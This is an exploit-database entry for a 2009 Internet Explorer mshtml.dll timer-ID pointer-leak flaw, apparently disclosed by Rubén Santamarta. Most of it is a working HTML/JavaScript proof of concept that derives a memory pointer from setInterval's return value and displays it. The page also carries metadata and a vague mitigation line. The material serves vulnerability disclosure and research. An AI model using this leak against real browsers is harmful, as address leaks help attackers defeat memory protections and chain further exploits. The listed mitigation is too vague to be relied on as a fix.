mshtml.dll CTimeoutEventList::InsertIntoTimeoutList Timer ID Pointer leak - Rubén Santamarta www.reversemode.com

vendor:

N/A

by:

Rubén Santamarta

4,3

CVSS

MEDIUM

Pointer leak

119

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: No

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

mshtml.dll CTimeoutEventList::InsertIntoTimeoutList Timer ID Pointer leak – Rubén Santamarta www.reversemode.com

This exploit is based on the mshtml.dll CTimeoutEventList::InsertIntoTimeoutList Timer ID Pointer leak vulnerability. It allows an attacker to leak a pointer by pressing a button and running a setInterval() function. The pointer is then displayed in the 'atun' div element.

Mitigation:

The best way to mitigate this vulnerability is to ensure that the setInterval() function is not used in a way that can be exploited by an attacker.

Source

Exploit-DB raw data:

<html>
<!--http://reversemode.com/index.php?option=com_content&task=view&id=68&Itemid=1 -->
<!-- mshtml.dll CTimeoutEventList::InsertIntoTimeoutList Timer ID Pointer leak - Rubén Santamarta www.reversemode.com -->

    <head>

        
        <title>mshtml.dll CTimeoutEventList::InsertIntoTimeoutList Timer ID Pointer leak - Rubén Santamarta www.reversemode.com</title>

        <script type='text/javascript'>
						var i = 1; // counter
						
            function LeakOrDie() {
            	var t;
							t=setInterval("foo()",2000);
							t-=i;
							document.getElementById('atun').innerHTML = '<b> Pointer leaked:</b> '+'0x'+t.toString(16);
							i++;
            }
            
	          function foo()
	          {
	          	return;
	          }
            
            
        </script>

    </head>

    <body>

	
	<INPUT TYPE=button VALUE="Press to leak"  ONCLICK="LeakOrDie();">

	<br /><br />

		<div id='atun'>		</div>
    
   </body>

</html>